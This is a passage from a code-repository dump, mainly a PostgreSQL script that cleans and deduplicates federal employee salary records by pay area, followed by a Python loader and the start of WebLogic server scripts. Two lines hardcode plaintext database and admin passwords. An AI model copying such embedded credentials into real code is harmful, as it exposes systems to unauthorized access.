observed_city = 'BROOKLYN' where observed_city = 'NEW YORK - BROOKLYN';\nupdate govt_data_clean\nset observed_city = 'BROOKLYN' where observed_city = 'NEW YORK - KINGS';\n\nalter table govt_data_clean\nalter column observed_salary type numeric using observed_salary::numeric,\n alter column observed_bonus type numeric using observed_bonus::numeric;\n\n\"Checking how much bonuses will matter. Turns out, not a single employee received one, so dropping column.\"\n\nselect count(*)\nfrom govt_data_clean\nwhere observed_bonus != 0.00;\n\nalter table govt_data_clean\ndrop column observed_bonus;\n\n\"Lots of names and salary info is redacted. Pulling ones without location out (according to query, it's 269,768),\nand checking to make sure it didn't delete without reason (1,146,163 remaining).\"\n\nselect count(*)\nfrom govt_data_clean\nwhere observed_city ilike '%redacted%' or observed_city ilike '%withheld%';\n\nselect count(*)\n from govt_data_clean;\n\ndelete from govt_data_clean\nwhere observed_city ilike '%redacted%' or observed_city ilike '%withheld%';\n\n\"Now making one table for GS employees and one for non-GS employees, dropping useless rows\"\n\ndrop table if exists gs_employees\ncreate table gs_employees as (select *\nfrom govt_data_clean\nwhere observed_schedule = 'GS'\n);\n\ndelete from gs_employees\n where observed_grade = '*';\n\nselect count(*)\n from gs_employees\nwhere observed_grade not in (1, 2, 3, 4, 5, 6, 7, 8,9, 10, 11, 12, 13, 14, 15);\n\nalter table gs_employees\n alter column observed_grade type numeric using observed_grade::numeric;\n\ndrop table if exists non_gs_employees\ncreate table non_gs_employees as (\n select *\n from govt_data_clean\n where observed_schedule != 'GS'\n);\n\n\n\"now preparing a list of GS MSAs to match to reported salary and joining on salary to identify MSA's of employees\"\n\n\"the table below is all gen schedule pay recommendations across ~50 MSAs\"\n\ndrop table if exists gs_2017;\ncreate table gs_2017(\n gs_msa varchar,\n gs_grade numeric,\n gs_step numeric,\n gs_salary numeric\n);\ncopy gs_2017\nfrom 'C:\\Users\\wolfe\\Desktop\\Python\\gs_pay_2017_one_column.csv' DELIMITERS ',' CSV;\n\n\"the join below identifies GS employees whose location may be found according to the gen schedule\"\n\ndrop table if exists gs_employees_msa;\ncreate table gs_employees_msa as\n (select *\nfrom gs_employees as a\ninner join (select * from gs_2017) b on a.observed_salary = b.gs_salary and observed_grade = gs_grade\n);\n\nselect count(distinct observed_name)\n from gs_employees_msa;\n\n\n\n\n\n\"PART II: Dealing with the 'right hand' side of the join by location. First, extracting city data\"\n\ndrop table if exists cities;\nCREATE TABLE cities\n(city varchar,\nstate varchar,\ncounty varchar,\npopulation numeric\n);\ncopy cities\nfrom 'C:\\Users\\wolfe\\Desktop\\Python\\us_cities_with_pop.csv' DELIMITERS ',' CSV;\n\n\"extracting and cleaning data on govt. MSAs, A\"\n\ndrop table if exists msa_regions_us;\ncreate table msa_regions_us(\n msa_county varchar,\n msa_state varchar,\n msa varchar\n);\ncopy msa_regions_us\nfrom 'C:\\Users\\wolfe\\Desktop\\Python\\msa_regions_2017.csv' DELIMITERS ',' CSV;\nupdate msa_regions_us\n set msa_county = trim(msa_county),\n msa_state = trim(msa_state),\n msa = trim(msa);\n\n\"joining cities and msa assigning gs region 'rest of u.s.' dropping redundant columns, controlling for population with HI and AK as special cases\"\n\ndrop table if exists msa_and_cities;\ncreate table msa_and_cities as (\n select *\n from cities as a\n left join (select * from msa_regions_us) b on lower(a.county) = lower(b.msa_county) and a.state = b.msa_state\n);\nupdate msa_and_cities\n set msa = 'Rest of U.S.'\nwhere msa is null;\n\nalter table msa_and_cities\ndrop column if exists msa_county,\ndrop column if exists msa_state;\n\ndelete from msa_and_cities\n where (population is null and state not in ('HI', 'AK'))\n or (population < 2000 and state not in ('HI', 'AK'))\n or (population < 5000 and msa = 'Rest of U.S.');\n\n\n\n\n\"Part III: Putting GS together. Finally arrive at the full gs employees set by joining msa and cities list to the observed data\"\n\ndrop table if exists gs_employees_with_location\ncreate table gs_employees_with_location as\n (select *\nfrom gs_employees_msa as a\ninner join (select * from msa_and_cities) b on lower(a.observed_city) = lower(b.city) and gs_msa = msa\n);\n\nselect count(distinct observed_name)\nfrom gs_employees_with_location;\n\nselect count(distinct city)\n from gs_employees_with_location;\n\n\n\n\n\"Part IV. Cleaning and preparing for full join.\"\n\n\"Making list of redundant cities\"\n\ndrop table if exists redundancy_test\ncreate table redundancy_test as (\nSELECT\n observed_name,\n observed_salary,\n observed_grade,\n observed_schedule,\n observed_department,\n observed_job,\n city,\n string_agg(state, ' / ') AS state,\n string_agg(county, ' / ') AS county,\n string_agg(msa, ' / ') AS msa\nFROM gs_employees_with_location\ngroup by\n observed_name,\n observed_salary,\n observed_grade,\n observed_schedule,\n observed_department,\n observed_job,\n city\n);\n\ndrop table if exists problem_cities\ncreate table problem_cities as(\n select *\n from redundancy_test\n where state ilike '%/%'\n);\n\nselect count(distinct observed_name)\nfrom problem_cities;\n\nselect city, count(distinct observed_name)\n from problem_cities\ngroup by city\norder by count desc;\n\nselect *\n from problem_cities\nwhere city = 'Madison';\n\n\n\"Deleting duplicate cities\"\n\ndelete from gs_employees_with_location\n where city = 'Washington' and state = 'NJ' and observed_salary = 161900;\ndelete from gs_employees_with_location\n where city = 'Kansas City' and state = 'KS';\ndelete from gs_employees_with_location\n where city = 'Nashville' and state != 'TN';\ndelete from gs_employees_with_location\n where city = 'Syracuse' and state != 'NY';\ndelete from gs_employees_with_location\n where city = 'Lincoln' and state != 'NE';\ndelete from gs_employees_with_location\n where city = 'Johnson City' and state != 'TN';\ndelete from gs_employees_with_location\n where city = 'Lexington' and state not in ('MA', 'NY', 'KY');\ndelete from gs_employees_with_location\n where city = 'Jackson' and state in ('TN', 'MI', 'WY', 'CA', 'OH', 'MO');\ndelete from gs_employees_with_location\n where city = 'Montgomery' and state in ('PA');\ndelete from gs_employees_with_location\n where city = 'Jackson' and state in ('TN');\ndelete from gs_employees_with_location\n where city = 'Houston' and state in ('AK');\ndelete from gs_employees_with_location\n where city = 'Dallas' and state in ('OR', 'GA');\ndelete from gs_employees_with_location\n where city = 'Altoona' and state in ('WI', 'IA');\ndelete from gs_employees_with_location\n where city = 'Knoxville' and state in ('IA');\ndelete from gs_employees_with_location\n where city = 'Jacksonville' and state in ('AR', 'IL', 'TX', 'NC', 'AL');\ndelete from gs_employees_with_location\n where city = 'Augusta' and state in ('KS', 'ME') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\ndelete from gs_employees_with_location\n where city = 'Jacksonville' and state in ('SD', 'MS', 'IN');\ndelete from gs_employees_with_location\n where city = 'Helena' and state in ('AL');\ndelete from gs_employees_with_location\n where city = 'Savannah' and state in ('TN');\ndelete from gs_employees_with_location\n where city = 'Norfolk' and state in ('NE') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\ndelete from gs_employees_with_location\n where city = 'Aberdeen' and state in ('KS', 'ME') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\ndelete from gs_employees_with_location\n where city = 'Madison' and state in ('MS', 'SD');\ndelete from gs_employees_with_location\n where city = 'Madison' and state in ('IN') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\n\n\n\"Making duplicates table.\"\n\ndrop table if exists duplicates_temp\ncreate table duplicates_temp as(\n select observed_name, observed_salary, city, count(*)\n from gs_employees_with_location\n group by observed_name, observed_salary, city\n having count(*) > 1\n);\n\ndrop table if exists duplicates\ncreate table duplicates as(\n select *\n from gs_employees_with_location\n where observed_name in (select observed_name from duplicates_temp)\n and observed_name not ilike '%WITHHELD%'\n);\n\nselect count(distinct observed_name)\nfrom duplicates;\n\n\"MAKING FINAL GS TABLE AND DROPPING REDUNANDANT COLUMNS\"\n\ndrop table if exists gs_employees_final;\ncreate table gs_employees_final as (\n select *\n from gs_employees_with_location\n where observed_name not in (select observed_name from duplicates)\n);\n\nalter table gs_employees_final\ndrop column observed_grade,\ndrop column observed_city,\ndrop column year,\ndrop column gs_msa;\n\n\n\n\"PART V: FINAL JOINS FOR NON-GS EMPLOYEES\"\n\ndrop table if exists cities_with_govt_employees\ncreate table cities_with_govt_employees as(\n select distinct city,\n county,\n state,\n msa\nfrom gs_employees_final\n);\n\ndrop table if exists non_gs_employees_with_location_temp\ncreate table non_gs_employees_with_location_temp AS (\n select distinct *\n from non_gs_employees\n inner join cities_with_govt_employees on lower(observed_city) = lower(city)\n);\n\nselect count(distinct observed_name)\n from non_gs_employees_with_location_temp;\n\n\"making a duplicates list now\"\n\ndrop table if exists duplicates_temp\ncreate table duplicates_temp as(\n select observed_name, observed_salary, city, count(*)\n from non_gs_employees_with_location_temp\n group by observed_name, observed_salary, city\n having count(*) > 1\n);\n\ndrop table if exists non_gs_duplicates\ncreate table non_gs_duplicates as(\n select *\n from non_gs_employees_with_location_temp\n where observed_name in (select observed_name from duplicates_temp)\n and observed_name not ilike '%WITHHELD%'\n);\n\nalter table non_gs_duplicates\nrename column observed_name to dup_name;\nalter table non_gs_duplicates\nrename column observed_salary to dup_salary;\nalter table non_gs_duplicates\ndrop column observed_grade,\ndrop column observed_department,\ndrop column observed_schedule,\ndrop column observed_city,\ndrop column observed_job,\ndrop column year,\ndrop column city,\ndrop column county,\ndrop column state,\ndrop column msa;\n\n\"PART VI. Join all of it together to get our unique non-GS employees\"\n\ndrop table if exists non_gs_final\ncreate table non_gs_final as(\n select *\n from non_gs_employees_with_location_temp as a\n left join (select * from non_gs_duplicates) b on a.observed_name = b.dup_name and a.observed_salary = b.dup_salary\n);\n\ndelete from non_gs_final\nwhere dup_name is not null;\n\nalter table non_gs_final\ndrop column dup_name,\ndrop column dup_salary,\ndrop column observed_city;\n\nalter table non_gs_final\nalter column observed_salary type numeric;\n\n\n\"PART VII: Put it all together and clean up\"\n\ndrop table if exists all_employees_final\ncreate table all_employees_final as(\n select *\n from gs_employees_final\n);\n\nselect *\nfrom all_employees_final\nlimit 1;\n\nalter table all_employees_final\ndrop column gs_step,\ndrop column gs_salary,\ndrop column population;\n\nalter table all_employees_final\nalter column gs_grade type varchar;\n\ninsert into all_employees_final\nselect observed_name,\n observed_schedule,\n observed_salary,\n observed_department,\n observed_job,\n observed_grade,\n city,\n state,\n county,\n msa\nfrom non_gs_final;\n\nalter table all_employees_final\nrename column gs_grade to grade;\n\nselect *\nfrom all_employees_final\norder by observed_name\nlimit 1000;\n\n\"FINAL STEP: DESTROY ALL USELESS TABLES\"\n\ndrop table if exists duplicates_temp;\ndrop table if exists redundancy_test;\ndrop table if exists trial_data;\ndrop table if exists non_gs_employees_with_location_temp;\n\n\n\n\n\"below is all trial stuff\"\n\nselect count(distinct observed_name)\nfrom govt_data_clean\nwhere observed_schedule = 'GS';\n\nselect *\nfrom gs_employees_with_location\nwhere city = 'Washington' and msa ilike '%NJ%' and observed_salary !=161900;\n\nselect count(distinct observed_name)\nfrom gs_employees_with_location;\n\nselect count(*)\nfrom gs_employees_with_location\nwhere observed_salary != 161900;\n\n\"now making a table of unique cities and non-gs employees to match against\"\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6937562227249146,\n \"alphanum_fraction\": 0.7145688533782959,\n \"avg_line_length\": 58.35293960571289,\n \"blob_id\": \"8d7f26f26d8b39dea4d8c785f25d2629bcd06fbe\",\n \"content_id\": \"81035037c7b4bb36b6d5ea8fc084cf470856e4c9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1009,\n \"license_type\": \"no_license\",\n \"max_line_length\": 177,\n \"num_lines\": 17,\n \"path\": \"/data_to_postgres.py\",\n \"repo_name\": \"wolfenelson/sqltest\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import numpy as np\\nimport pandas as pd\\nfrom sqlalchemy import create_engine\\n\\ntext = open('data_full.txt', 'r') #trying as a txt to clean more easily\\ntext_data = text.read()\\ntext_clean = text_data.strip('{\\\"sEcho\\\":1,\\\"iTotalRecords\\\":\\\"6960815\\\",\\\"iTotalDisplayRecords\\\":\\\"1415931\\\",\\\"aaData\\\":') #this sequence is what gives us the problem, so removing it first\\ntext_rows = text_clean.split('],') #turn into a list by entry\\n\\ndf = pd.DataFrame(text_rows) #turn into a dataframe\\ndf_full = df[0].str.split('\\\",', expand = True) #split it on \\\", because there are commas in some of the desired columns (e.g. salary, occupation)\\ndf_full.columns = ['name', 'grade', 'pay_type', 'salary', 'bonus', 'department', 'city', 'job', 'year'] #have the dataframe\\ndf_full.replace(to_replace='\\\"', value='', inplace = True, regex=True)\\n\\n##pushing to postgres\\nengine = create_engine('postgresql+psycopg2://postgres:Oksurefine1955@localhost/trialrun')\\ndf_full.to_sql('govt_data', con=engine, schema='test', if_exists='replace',index=False)\\n\"\n },\n {\n \"alpha_fraction\": 0.7129367589950562,\n \"alphanum_fraction\": 0.7202004790306091,\n \"avg_line_length\": 27.98105239868164,\n \"blob_id\": \"019653193f6f10aa5252a1a549e4d9f082298f8a\",\n \"content_id\": \"90e85ebf33392ab83dbfc7b162de8f1697efda00\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"SQL\",\n \"length_bytes\": 13767,\n \"license_type\": \"no_license\",\n \"max_line_length\": 146,\n \"num_lines\": 475,\n \"path\": \"/sql_test.sql\",\n \"repo_name\": \"wolfenelson/sqltest\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"create schema if not exists test;\\n\\n\\\"table was already imported through python, running a test to make sure it's all there\\\"\\n\\nselect *\\nfrom govt_data\\norder by name\\nlimit 2000;\\n\\n\\\"PART I: Making a table of data according to General Schedule Pay Areas (MSAs)\\\"\\n\\n\\\"Cleaning the data, e.g. removing $ from salary etc. There was a specific problem with NYC,\\nand it's less memory intensive to just use updates rather than case/when.\\\"\\n\\ndrop table if exists govt_data_clean;\\ncreate table govt_data_clean as (SELECT\\n replace(name, '[', '') observed_name,\\n trim(grade) observed_grade,\\n trim(pay_type) observed_schedule,\\n replace(salary, '$', '') observed_salary,\\n replace(bonus, '$', '') observed_bonus,\\n trim(department) observed_department,\\n trim(city) observed_city,\\n trim(job) observed_job,\\n trim(year) year\\nFROM govt_data\\n);\\n\\nupdate govt_data_clean\\n set observed_salary = replace(observed_salary, ',', '')\\nupdate govt_data_clean\\nset observed_city = 'NEW YORK' where observed_city = 'NEW YORK - NEW YORK';\\nupdate govt_data_clean\\nset observed_city = 'QUEENS' where observed_city = 'NEW YORK - QUEENS';\\nupdate govt_data_clean\\nset observed_city = 'BRONX' where observed_city = 'NEW YORK - BRONX';\\nupdate govt_data_clean\\nset observed_city = 'MANHATTAN' where observed_city = 'NEW YORK - MANHATTAN';\\nupdate govt_data_clean\\nset observed_city = 'BROOKLYN' where observed_city = 'NEW YORK - BROOKLYN';\\nupdate govt_data_clean\\nset observed_city = 'BROOKLYN' where observed_city = 'NEW YORK - KINGS';\\n\\nalter table govt_data_clean\\nalter column observed_salary type numeric using observed_salary::numeric,\\n alter column observed_bonus type numeric using observed_bonus::numeric;\\n\\n\\\"Checking how much bonuses will matter. Turns out, not a single employee received one, so dropping column.\\\"\\n\\nselect count(*)\\nfrom govt_data_clean\\nwhere observed_bonus != 0.00;\\n\\nalter table govt_data_clean\\ndrop column observed_bonus;\\n\\n\\\"Lots of names and salary info is redacted. Pulling ones without location out (according to query, it's 269,768),\\nand checking to make sure it didn't delete without reason (1,146,163 remaining).\\\"\\n\\nselect count(*)\\nfrom govt_data_clean\\nwhere observed_city ilike '%redacted%' or observed_city ilike '%withheld%';\\n\\nselect count(*)\\n from govt_data_clean;\\n\\ndelete from govt_data_clean\\nwhere observed_city ilike '%redacted%' or observed_city ilike '%withheld%';\\n\\n\\\"Now making one table for GS employees and one for non-GS employees, dropping useless rows\\\"\\n\\ndrop table if exists gs_employees\\ncreate table gs_employees as (select *\\nfrom govt_data_clean\\nwhere observed_schedule = 'GS'\\n);\\n\\ndelete from gs_employees\\n where observed_grade = '*';\\n\\nselect count(*)\\n from gs_employees\\nwhere observed_grade not in (1, 2, 3, 4, 5, 6, 7, 8,9, 10, 11, 12, 13, 14, 15);\\n\\nalter table gs_employees\\n alter column observed_grade type numeric using observed_grade::numeric;\\n\\ndrop table if exists non_gs_employees\\ncreate table non_gs_employees as (\\n select *\\n from govt_data_clean\\n where observed_schedule != 'GS'\\n);\\n\\n\\n\\\"now preparing a list of GS MSAs to match to reported salary and joining on salary to identify MSA's of employees\\\"\\n\\n\\\"the table below is all gen schedule pay recommendations across ~50 MSAs\\\"\\n\\ndrop table if exists gs_2017;\\ncreate table gs_2017(\\n gs_msa varchar,\\n gs_grade numeric,\\n gs_step numeric,\\n gs_salary numeric\\n);\\ncopy gs_2017\\nfrom 'C:\\\\Users\\\\wolfe\\\\Desktop\\\\Python\\\\gs_pay_2017_one_column.csv' DELIMITERS ',' CSV;\\n\\n\\\"the join below identifies GS employees whose location may be found according to the gen schedule\\\"\\n\\ndrop table if exists gs_employees_msa;\\ncreate table gs_employees_msa as\\n (select *\\nfrom gs_employees as a\\ninner join (select * from gs_2017) b on a.observed_salary = b.gs_salary and observed_grade = gs_grade\\n);\\n\\nselect count(distinct observed_name)\\n from gs_employees_msa;\\n\\n\\n\\n\\n\\n\\\"PART II: Dealing with the 'right hand' side of the join by location. First, extracting city data\\\"\\n\\ndrop table if exists cities;\\nCREATE TABLE cities\\n(city varchar,\\nstate varchar,\\ncounty varchar,\\npopulation numeric\\n);\\ncopy cities\\nfrom 'C:\\\\Users\\\\wolfe\\\\Desktop\\\\Python\\\\us_cities_with_pop.csv' DELIMITERS ',' CSV;\\n\\n\\\"extracting and cleaning data on govt. MSAs, A\\\"\\n\\ndrop table if exists msa_regions_us;\\ncreate table msa_regions_us(\\n msa_county varchar,\\n msa_state varchar,\\n msa varchar\\n);\\ncopy msa_regions_us\\nfrom 'C:\\\\Users\\\\wolfe\\\\Desktop\\\\Python\\\\msa_regions_2017.csv' DELIMITERS ',' CSV;\\nupdate msa_regions_us\\n set msa_county = trim(msa_county),\\n msa_state = trim(msa_state),\\n msa = trim(msa);\\n\\n\\\"joining cities and msa assigning gs region 'rest of u.s.' dropping redundant columns, controlling for population with HI and AK as special cases\\\"\\n\\ndrop table if exists msa_and_cities;\\ncreate table msa_and_cities as (\\n select *\\n from cities as a\\n left join (select * from msa_regions_us) b on lower(a.county) = lower(b.msa_county) and a.state = b.msa_state\\n);\\nupdate msa_and_cities\\n set msa = 'Rest of U.S.'\\nwhere msa is null;\\n\\nalter table msa_and_cities\\ndrop column if exists msa_county,\\ndrop column if exists msa_state;\\n\\ndelete from msa_and_cities\\n where (population is null and state not in ('HI', 'AK'))\\n or (population < 2000 and state not in ('HI', 'AK'))\\n or (population < 5000 and msa = 'Rest of U.S.');\\n\\n\\n\\n\\n\\\"Part III: Putting GS together. Finally arrive at the full gs employees set by joining msa and cities list to the observed data\\\"\\n\\ndrop table if exists gs_employees_with_location\\ncreate table gs_employees_with_location as\\n (select *\\nfrom gs_employees_msa as a\\ninner join (select * from msa_and_cities) b on lower(a.observed_city) = lower(b.city) and gs_msa = msa\\n);\\n\\nselect count(distinct observed_name)\\nfrom gs_employees_with_location;\\n\\nselect count(distinct city)\\n from gs_employees_with_location;\\n\\n\\n\\n\\n\\\"Part IV. Cleaning and preparing for full join.\\\"\\n\\n\\\"Making list of redundant cities\\\"\\n\\ndrop table if exists redundancy_test\\ncreate table redundancy_test as (\\nSELECT\\n observed_name,\\n observed_salary,\\n observed_grade,\\n observed_schedule,\\n observed_department,\\n observed_job,\\n city,\\n string_agg(state, ' / ') AS state,\\n string_agg(county, ' / ') AS county,\\n string_agg(msa, ' / ') AS msa\\nFROM gs_employees_with_location\\ngroup by\\n observed_name,\\n observed_salary,\\n observed_grade,\\n observed_schedule,\\n observed_department,\\n observed_job,\\n city\\n);\\n\\ndrop table if exists problem_cities\\ncreate table problem_cities as(\\n select *\\n from redundancy_test\\n where state ilike '%/%'\\n);\\n\\nselect count(distinct observed_name)\\nfrom problem_cities;\\n\\nselect city, count(distinct observed_name)\\n from problem_cities\\ngroup by city\\norder by count desc;\\n\\nselect *\\n from problem_cities\\nwhere city = 'Madison';\\n\\n\\n\\\"Deleting duplicate cities\\\"\\n\\ndelete from gs_employees_with_location\\n where city = 'Washington' and state = 'NJ' and observed_salary = 161900;\\ndelete from gs_employees_with_location\\n where city = 'Kansas City' and state = 'KS';\\ndelete from gs_employees_with_location\\n where city = 'Nashville' and state != 'TN';\\ndelete from gs_employees_with_location\\n where city = 'Syracuse' and state != 'NY';\\ndelete from gs_employees_with_location\\n where city = 'Lincoln' and state != 'NE';\\ndelete from gs_employees_with_location\\n where city = 'Johnson City' and state != 'TN';\\ndelete from gs_employees_with_location\\n where city = 'Lexington' and state not in ('MA', 'NY', 'KY');\\ndelete from gs_employees_with_location\\n where city = 'Jackson' and state in ('TN', 'MI', 'WY', 'CA', 'OH', 'MO');\\ndelete from gs_employees_with_location\\n where city = 'Montgomery' and state in ('PA');\\ndelete from gs_employees_with_location\\n where city = 'Jackson' and state in ('TN');\\ndelete from gs_employees_with_location\\n where city = 'Houston' and state in ('AK');\\ndelete from gs_employees_with_location\\n where city = 'Dallas' and state in ('OR', 'GA');\\ndelete from gs_employees_with_location\\n where city = 'Altoona' and state in ('WI', 'IA');\\ndelete from gs_employees_with_location\\n where city = 'Knoxville' and state in ('IA');\\ndelete from gs_employees_with_location\\n where city = 'Jacksonville' and state in ('AR', 'IL', 'TX', 'NC', 'AL');\\ndelete from gs_employees_with_location\\n where city = 'Augusta' and state in ('KS', 'ME') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\\ndelete from gs_employees_with_location\\n where city = 'Jacksonville' and state in ('SD', 'MS', 'IN');\\ndelete from gs_employees_with_location\\n where city = 'Helena' and state in ('AL');\\ndelete from gs_employees_with_location\\n where city = 'Savannah' and state in ('TN');\\ndelete from gs_employees_with_location\\n where city = 'Norfolk' and state in ('NE') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\\ndelete from gs_employees_with_location\\n where city = 'Aberdeen' and state in ('KS', 'ME') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\\ndelete from gs_employees_with_location\\n where city = 'Madison' and state in ('MS', 'SD');\\ndelete from gs_employees_with_location\\n where city = 'Madison' and state in ('IN') and observed_department != 'DEPARTMENT OF VETERANS AFFAIRS';\\n\\n\\n\\\"Making duplicates table.\\\"\\n\\ndrop table if exists duplicates_temp\\ncreate table duplicates_temp as(\\n select observed_name, observed_salary, city, count(*)\\n from gs_employees_with_location\\n group by observed_name, observed_salary, city\\n having count(*) > 1\\n);\\n\\ndrop table if exists duplicates\\ncreate table duplicates as(\\n select *\\n from gs_employees_with_location\\n where observed_name in (select observed_name from duplicates_temp)\\n and observed_name not ilike '%WITHHELD%'\\n);\\n\\nselect count(distinct observed_name)\\nfrom duplicates;\\n\\n\\\"MAKING FINAL GS TABLE AND DROPPING REDUNANDANT COLUMNS\\\"\\n\\ndrop table if exists gs_employees_final;\\ncreate table gs_employees_final as (\\n select *\\n from gs_employees_with_location\\n where observed_name not in (select observed_name from duplicates)\\n);\\n\\nalter table gs_employees_final\\ndrop column observed_grade,\\ndrop column observed_city,\\ndrop column year,\\ndrop column gs_msa;\\n\\n\\n\\n\\\"PART V: FINAL JOINS FOR NON-GS EMPLOYEES\\\"\\n\\ndrop table if exists cities_with_govt_employees\\ncreate table cities_with_govt_employees as(\\n select distinct city,\\n county,\\n state,\\n msa\\nfrom gs_employees_final\\n);\\n\\ndrop table if exists non_gs_employees_with_location_temp\\ncreate table non_gs_employees_with_location_temp AS (\\n select distinct *\\n from non_gs_employees\\n inner join cities_with_govt_employees on lower(observed_city) = lower(city)\\n);\\n\\nselect count(distinct observed_name)\\n from non_gs_employees_with_location_temp;\\n\\n\\\"making a duplicates list now\\\"\\n\\ndrop table if exists duplicates_temp\\ncreate table duplicates_temp as(\\n select observed_name, observed_salary, city, count(*)\\n from non_gs_employees_with_location_temp\\n group by observed_name, observed_salary, city\\n having count(*) > 1\\n);\\n\\ndrop table if exists non_gs_duplicates\\ncreate table non_gs_duplicates as(\\n select *\\n from non_gs_employees_with_location_temp\\n where observed_name in (select observed_name from duplicates_temp)\\n and observed_name not ilike '%WITHHELD%'\\n);\\n\\nalter table non_gs_duplicates\\nrename column observed_name to dup_name;\\nalter table non_gs_duplicates\\nrename column observed_salary to dup_salary;\\nalter table non_gs_duplicates\\ndrop column observed_grade,\\ndrop column observed_department,\\ndrop column observed_schedule,\\ndrop column observed_city,\\ndrop column observed_job,\\ndrop column year,\\ndrop column city,\\ndrop column county,\\ndrop column state,\\ndrop column msa;\\n\\n\\\"PART VI. Join all of it together to get our unique non-GS employees\\\"\\n\\ndrop table if exists non_gs_final\\ncreate table non_gs_final as(\\n select *\\n from non_gs_employees_with_location_temp as a\\n left join (select * from non_gs_duplicates) b on a.observed_name = b.dup_name and a.observed_salary = b.dup_salary\\n);\\n\\ndelete from non_gs_final\\nwhere dup_name is not null;\\n\\nalter table non_gs_final\\ndrop column dup_name,\\ndrop column dup_salary,\\ndrop column observed_city;\\n\\nalter table non_gs_final\\nalter column observed_salary type numeric;\\n\\n\\n\\\"PART VII: Put it all together and clean up\\\"\\n\\ndrop table if exists all_employees_final\\ncreate table all_employees_final as(\\n select *\\n from gs_employees_final\\n);\\n\\nselect *\\nfrom all_employees_final\\nlimit 1;\\n\\nalter table all_employees_final\\ndrop column gs_step,\\ndrop column gs_salary,\\ndrop column population;\\n\\nalter table all_employees_final\\nalter column gs_grade type varchar;\\n\\ninsert into all_employees_final\\nselect observed_name,\\n observed_schedule,\\n observed_salary,\\n observed_department,\\n observed_job,\\n observed_grade,\\n city,\\n state,\\n county,\\n msa\\nfrom non_gs_final;\\n\\nalter table all_employees_final\\nrename column gs_grade to grade;\\n\\nselect *\\nfrom all_employees_final\\norder by observed_name\\nlimit 1000;\\n\\n\\\"FINAL STEP: DESTROY ALL USELESS TABLES\\\"\\n\\ndrop table if exists duplicates_temp;\\ndrop table if exists redundancy_test;\\ndrop table if exists trial_data;\\ndrop table if exists non_gs_employees_with_location_temp;\\n\\n\\n\\n\\n\\\"below is all trial stuff\\\"\\n\\nselect count(distinct observed_name)\\nfrom govt_data_clean\\nwhere observed_schedule = 'GS';\\n\\nselect *\\nfrom gs_employees_with_location\\nwhere city = 'Washington' and msa ilike '%NJ%' and observed_salary !=161900;\\n\\nselect count(distinct observed_name)\\nfrom gs_employees_with_location;\\n\\nselect count(*)\\nfrom gs_employees_with_location\\nwhere observed_salary != 161900;\\n\\n\\\"now making a table of unique cities and non-gs employees to match against\\\"\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2984087,"cells":{"repo_name":{"kind":"string","value":"Great-Stone/weblogic-expert"},"repo_url":{"kind":"string","value":"https://github.com/Great-Stone/weblogic-expert"},"snapshot_id":{"kind":"string","value":"8f77c50e3c25110851078e93a13369c2bbffdcd7"},"revision_id":{"kind":"string","value":"74727b3ece0549fc1d07056489ea9672bbbeecce"},"directory_id":{"kind":"string","value":"1b1196e1c4437a09c098d1d7d242562c72bfb89b"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-20T01:43:30.236039","string":"2021-01-20T01:43:30.236039"},"revision_date":{"kind":"timestamp","value":"2018-01-27T13:00:39","string":"2018-01-27T13:00:39"},"committer_date":{"kind":"timestamp","value":"2018-01-27T13:00:39","string":"2018-01-27T13:00:39"},"github_id":{"kind":"number","value":101298723,"string":"101,298,723"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.8114285469055176,"alphanum_fraction":0.8114285469055176,"avg_line_length":87,"blob_id":"0a88adc5275b8b69b9ca9c1cff2941f1ae2fea48","content_id":"0346dd6127404cab0e0d832e54a3996bc455e6b1","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":175,"license_type":"permissive","max_line_length":156,"num_lines":2,"path":"/chapter3/Scripts/unix_linux/NodeManager/wlst/stopNM.py","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"nmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\nstopNodeManager();"},{"alpha_fraction":0.6639999747276306,"alphanum_fraction":0.7760000228881836,"avg_line_length":62,"blob_id":"d488d3b4f87f9323cfa0ce11f5b76022d0767349","content_id":"3ece9946f019a59ac1fd588926d25a328ca70799","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":125,"license_type":"permissive","max_line_length":101,"num_lines":2,"path":"/chapter3/Scripts/unix_linux/9.0~12.1.2/stopAdmin.sh","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":". ./bin/setDomainEnv.sh\njava weblogic.Admin -url t3://192.168.0.33:7001 -username weblogic -password welcome1 FORCESHUTDOWN"},{"alpha_fraction":0.6383763551712036,"alphanum_fraction":0.7269372940063477,"avg_line_length":44.33333206176758,"blob_id":"d0813da620d13587844f97caea4ec9e7c1f28dec","content_id":"2cc01d4ebc3b1519a6d71bdfbfffa03cb84bf130","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":271,"license_type":"permissive","max_line_length":102,"num_lines":6,"path":"/chapter3/Scripts/unix_linux/8.1/startM1.sh","repo_name":"Great-Stone/weblogic-expert","src_encoding":"UTF-8","text":"SERVER_NAME=Managed01\nDOMAIN_HOME=/app/wls/wls816/domains/v816domain\nLOG_DIR=$DOMAIN_HOME/logs\n\nmv 